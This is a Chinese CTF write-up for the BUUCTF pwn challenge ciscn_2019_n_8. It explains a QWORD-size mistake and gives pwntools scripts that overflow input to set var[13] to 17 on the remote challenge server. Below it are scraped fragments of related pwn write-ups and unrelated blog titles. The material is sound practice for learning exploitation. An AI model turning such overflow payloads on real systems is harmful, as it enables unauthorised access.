[BUUCTF-pwn]——ciscn_2019_n_8

  • 题目地址:https://buuoj.cn/challenges#ciscn_2019_n_8
  • 题目

    上去checksec一下,吓一跳保护基本全开了。
    在IDA中一看,开心了。如此简单 只需要v[13] ==17 就好。因为var是以字符串的形式输入的。所以exploit如下:

exploit

from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p32(0x11))
p.interactive()

发现不可以, 点不开 _QWORD 就去百度了一下
qword全称是Quad Word。2个字节就是1个Word(1个字,16位),q就是英文quad-这个词根(意思是4)的首字母,所以它自然是word(2字节,0~2^16-1)的四倍,8字节
所以expoit改下应该为

from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p64(0x11)) # 32对应4个字节, 64对应8个字节
p.interactive()

或者

from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p32(0x11) + p32(0)) # 32对应4个字节, 64对应8个字节
p.interactive()

[BUUCTF-pwn]——ciscn_2019_n_8相关推荐

  1. Buuctf(pwn)ciscn_2019_n_8

    保护开的挺全; from pwn import* r=remote('node3.buuoj.cn',28155) payload = p32(17)*14 r.sendline(payload) r ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  4. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  5. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. BUUCTF PWN 刷题 1-15题

    1 rip 经典栈溢出漏洞. from pwn import *p = remote('node4.buuoj.cn', 27181)payload = b'a' * 23 + p64(0x40118 ...

  8. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  9. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  10. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

最新文章

  1. SimpleDateFormat 日期,时间格式转化
  2. [UT]Unit Test理解
  3. Mysql 都会遭受哪些方面的攻击?
  4. String、StringBuilder和StringBuffer
  5. JAVA获取json中的值
  6. 家用电器用户行为分析与事件识别代码详解+修改后运行无误的代码
  7. mcq 队列_人工智能逻辑才能问答(MCQ)
  8. 【Java】转置String的各种方法分析
  9. 小程序组件库开发之车牌号专属键盘
  10. DE17 Finding Particular Solutions via Fourier Series
  11. 自己做的小游戏希望大家能喜欢
  12. Angular Compile Error NG6002
  13. 通过FTP从服务器上下载文件
  14. java isbn_Java ISBN formating
  15. C语言的函数是什么?
  16. LabVIEW编程LabVIEW开发 十六进制转换ASCII例程与相关资料
  17. Hadoop中HDFS的读写流程详解
  18. 少数派的智慧生活,正成为城市一部分
  19. win7 关闭隧道适配器
  20. Unity动画☀️一、创建普通动画

热门文章

  1. 在Activity的Title中加入进度条
  2. Meterpreter重要命令与使用
  3. ⚡关于Eastmount博客「网络安全自学篇」系列重要通知!!!⚡
  4. 【数据结构与算法】之深入解析“三数之和”的求解思路与算法示例
  5. Swift之捕捉侧滑返回事件并跳转指定控制器
  6. LeetCode Algorithm 70. 爬楼梯
  7. ZYAR20A 亚克力2驱 蓝牙 298寻迹避障机器人 —— 小车指定花式动作
  8. 【Python5】图像操作,数字验证码识别,图像拼接/保存器
  9. 【Qt】QBoxLayout类详解
  10. 【ARM】Tiny4412裸板编程之按键